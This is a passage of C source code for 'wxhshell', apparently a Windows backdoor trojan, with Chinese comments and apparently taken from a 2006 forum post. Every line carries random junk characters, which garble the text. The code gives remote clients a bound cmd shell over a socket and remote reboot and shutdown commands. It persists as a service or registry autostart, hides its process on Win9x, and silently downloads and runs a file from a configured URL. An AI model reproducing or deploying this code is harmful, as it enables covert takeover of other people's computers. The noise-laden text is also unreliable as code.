      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^x m$EY*Y,  
    break; YlF%UPp  
  } Mxl]"?z  
  // 安装 GpI!J}~m  
  case 'i': { +?dl`!rE  
    if(Install()) VUwC-)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;+/o?:AH  
    else M{mSd2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k|xtr&1N.!  
    break; F(,UA+$A  
    } Iz@)!3h  
  // 卸载 ;j%BK(5  
  case 'r': { 2=iH$v  
    if(Uninstall()) C\*4q8(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,xfO;yd  
    else B*3Y !!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !mMpb/&&S  
    break; eOI (6U!  
    } CAD@XZSh  
  // 显示 wxhshell 所在路径 SF[FmN!^^  
  case 'p': { t#i,1aHA  
    char svExeFile[MAX_PATH]; n6<V+G)T  
    strcpy(svExeFile,"\n\r"); SUM4Di7  
      strcat(svExeFile,ExeFile); #oni:]E!m  
        send(wsh,svExeFile,strlen(svExeFile),0); ~j9O$s~)  
    break; =] C]=  
    } O"G >wv  
  // 重启 )#iq4@)|g  
  case 'b': { bm% $86  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }"^'% C8EX  
    if(Boot(REBOOT)) jMNU ?m:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [7FItlF%I  
    else { %w7pkh,  
    closesocket(wsh); |r%D\EB  
    ExitThread(0); p< "3&HA  
    } eKvV*[N a  
    break; cLVeT  
    } :'iYxhM.V  
  // 关机 =#gEB#$x:  
  case 'd': { H1n1-!%d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NMOut@  
    if(Boot(SHUTDOWN)) QPt Gdd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \>QF(J [8  
    else { c%m3}mrb  
    closesocket(wsh); U.!lTLjfLz  
    ExitThread(0); !> }.~[M  
    } ~{,X3-S_H  
    break; 6/V3.UP-  
    } y: m_tv0~0  
  // 获取shell &0zT I?c  
  case 's': { a ^d8I  
    CmdShell(wsh); R:Q0=PzDi#  
    closesocket(wsh); L2Pujk  
    ExitThread(0); uvP2Wgt  
    break;  ,Uhb  
  } >9e(.6&2XZ  
  // 退出 G6@M&u5RT  
  case 'x': { =L;] ;i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A+J*e  
    CloseIt(wsh); _BdE< !r  
    break; 0sca4G0{  
    } Bw%Qbs0Q  
  // 离开 +5VLw  
  case 'q': { *}k;L74|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^sN (  
    closesocket(wsh); yeDsJ/L  
    WSACleanup(); ^V$Ajt  
    exit(1); ivDGZI9  
    break; . 8N.l^0,  
        } FIxFnh3~  
  } ]I3!fEAWR  
  } JR CrZW}  
<S?ddp2  
  // 提示信息 )XcOl7XLN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W @|6nPm  
} +)o}c"P!  
  } ^j-3av=  
EF3Cdu{]P  
  return; ^WBuMCe  
} Z87_#5  
5p.rwNE  
// shell模块句柄 dT,o=8fg  
int CmdShell(SOCKET sock) "BX!  
{ {ZY+L;eg1  
STARTUPINFO si; P) 3mX.(}  
ZeroMemory(&si,sizeof(si)); .`>y@p!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a:QDBS2Llv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u#}[ZoI  
PROCESS_INFORMATION ProcessInfo; p-.n3AL  
char cmdline[]="cmd"; !uQPc   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a5a($D  
  return 0; Reatd h  
} S[WG$  
Sb~MQ_  
// 自身启动模式 #>Zzf  
int StartFromService(void) `{qG1  
{ t%F0:SH  
typedef struct )iFJz/n>  
{ sc,Xw:YO  
  DWORD ExitStatus; o=0]el^A  
  DWORD PebBaseAddress; =s<( P1|"  
  DWORD AffinityMask; HRB<Y mP@  
  DWORD BasePriority; " Hd|7F'u=  
  ULONG UniqueProcessId; s%<eD  
  ULONG InheritedFromUniqueProcessId; [l,Ei?  
}   PROCESS_BASIC_INFORMATION; 3}e%[AKh  
^o7;c[E`  
PROCNTQSIP NtQueryInformationProcess; &x3VCsC\|  
w^t/9Nasi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :9k Ty:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zc[Si bT  
LD!Q8"  
  HANDLE             hProcess; GvBHd%Ot  
  PROCESS_BASIC_INFORMATION pbi; #8)*1?  
;Iq/l%vX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `r?7oxN  
  if(NULL == hInst ) return 0; K4kMM*D  
,G)r=$XU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o}ZdTf=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YpqrZWvh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t.;LnrY  
ti#7(^j  
  if (!NtQueryInformationProcess) return 0; -\C!I  
i-6 Z"b{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2k=# om19  
  if(!hProcess) return 0; Qjb:WC7he  
.0es 3Rj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )= =Jfn y  
#'y#"cmQ.  
  CloseHandle(hProcess); 4ecP*g  
NX}<*b/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0=?<y'=  
if(hProcess==NULL) return 0; @Z12CrJ  
=zz ~kon9  
HMODULE hMod; #"B\UN  
char procName[255]; :8OZ#D_Hl  
unsigned long cbNeeded; <[-nF"Q  
xoN3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i*Z" Me  
<*qnY7c&N;  
  CloseHandle(hProcess); #?S^kM-0  
6ZP"p<xX  
if(strstr(procName,"services")) return 1; // 以服务启动 Q637N|01  
t;}:waZD  
  return 0; // 注册表启动 `7r@a  
} maNl^i  
3qf Ym}d  
// 主模块 r[*Vqcz  
int StartWxhshell(LPSTR lpCmdLine) va0{>Dc+  
{ jEZMUqGY!  
  SOCKET wsl; Rd#WMo2Xd  
BOOL val=TRUE; Eq j_m|@  
  int port=0; rogT~G}q  
  struct sockaddr_in door; `9BROZnq  
o6uJyCO  
  if(wscfg.ws_autoins) Install(); ~GZY5HF  
Hhcpp7cr'  
port=atoi(lpCmdLine); rp ;b" q  
(^Y~/  
if(port<=0) port=wscfg.ws_port; i uF*.hc,%  
IhVO@KJI  
  WSADATA data; y#3j`. $3p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?k(7 LX0j  
`)_dS&_\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r2,.abo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N(Fp0  
  door.sin_family = AF_INET; {A05u3}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'ZDp5pCC;  
  door.sin_port = htons(port); oY933i@l)P  
v]B3m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 75XJL;W #  
closesocket(wsl); kH G"XTL  
return 1; ^rifRY-,yO  
} xe^Gs]fm  
J1C3&t}  
  if(listen(wsl,2) == INVALID_SOCKET) { gaZu;t2u  
closesocket(wsl); -;^j:L{   
return 1; tp63@L|Q  
} n(;|q&3  
  Wxhshell(wsl); YoBDvV":@  
  WSACleanup(); \1^^\G>H5  
qVH1}9_  
return 0; a,k>Q`  
i3 @)W4{  
} ~a ]+#D  
x|pg"v&[  
// 以NT服务方式启动 _({hc+9p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vf] "L .G  
{ A#EDk U,  
DWORD   status = 0; t/VD31  
  DWORD   specificError = 0xfffffff; onz?_SAW  
sn obT Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )48QBz?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TJK[ev};S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *Q ?tl\E  
  serviceStatus.dwWin32ExitCode     = 0; #49kjv@  
  serviceStatus.dwServiceSpecificExitCode = 0; g?z/2zKR  
  serviceStatus.dwCheckPoint       = 0; 3G}x;Cp\D  
  serviceStatus.dwWaitHint       = 0; 1g8_Xe4  
nn@-W]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "_-Po^u=r  
  if (hServiceStatusHandle==0) return; %A1o.{H  
TO]@ Zu1  
status = GetLastError(); \LR~r%(rM  
  if (status!=NO_ERROR) &"&Z #llb  
{ QdF5Cwf4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q(wx nm  
    serviceStatus.dwCheckPoint       = 0; ILEz;D{]   
    serviceStatus.dwWaitHint       = 0; VVac:  
    serviceStatus.dwWin32ExitCode     = status; d3 ZdB4L  
    serviceStatus.dwServiceSpecificExitCode = specificError; v%+:/m1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Br1&8L-|%  
    return; % 5M/s'O?i  
  } zzTfYf)  
e2s]{obf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HK,cJah q  
  serviceStatus.dwCheckPoint       = 0; }B\a<0L/  
  serviceStatus.dwWaitHint       = 0; X' H[7 ^W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RJ  8+h  
} gQWa24  
hYPl&^  
// 处理NT服务事件,比如:启动、停止 I*{4rDt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,':fu  
{  P5a4ze  
switch(fdwControl) xS4w5i2  
{ 8m2Tk\;:  
case SERVICE_CONTROL_STOP: n.!#P|  
  serviceStatus.dwWin32ExitCode = 0; ZSjMH .Ij"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #@YPic"n7`  
  serviceStatus.dwCheckPoint   = 0; b=yx7v"r  
  serviceStatus.dwWaitHint     = 0; A9I{2qW9+Z  
  { uki#/GzaO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +ga k#M"n\  
  } HHDl8lo  
  return; U}yW<#$+  
case SERVICE_CONTROL_PAUSE: T!+5[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QM5R`i{r  
  break; } ()5"QB  
case SERVICE_CONTROL_CONTINUE: y"bByd|6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n0r+A^]  
  break; gd%NkxmW  
case SERVICE_CONTROL_INTERROGATE: q)X$^oE!6  
  break; OK[T3/v,  
}; Uzz'.K(Mv|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rI= v  
} be]bZ 1f  
& ?h#Z!  
// 标准应用程序主函数 s.bc>E0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 27 ]':A4_  
{ TSTl+W  
=mS\i663  
// 获取操作系统版本 nKPYOY8^  
OsIsNt=GetOsVer(); )97SnCkal  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `eE&5.   
Y-kt.X/Z-  
  // 从命令行安装 Zn&, t &z  
  if(strpbrk(lpCmdLine,"iI")) Install(); Sg&UagBj  
^o^H3m  
  // 下载执行文件 >80;8\  
if(wscfg.ws_downexe) { HW3 }uP\c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )j9SGLo  
  WinExec(wscfg.ws_filenam,SW_HIDE); h1B? 8pD  
} HG^B#yX  
.{ocV#{s  
if(!OsIsNt) { jN{Xfjmfv  
// 如果时win9x,隐藏进程并且设置为注册表启动 sD{Wxv  
HideProc(); V=R 3)GC  
StartWxhshell(lpCmdLine); P\yDa*m  
} +o\:d1y  
else ah+~y,Gl  
  if(StartFromService()) C7rNV0.Fq  
  // 以服务方式启动 E@@5BEB ~  
  StartServiceCtrlDispatcher(DispatchTable); S>h;K`  
else 15%w 8u  
  // 普通方式启动 '8Q]C*Z  
  StartWxhshell(lpCmdLine); xbdN0MAU  
^T*?>%`  
return 0; ![`Ay4AZ@a  
}
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只看该作者 1 发表于: 2006-10-10
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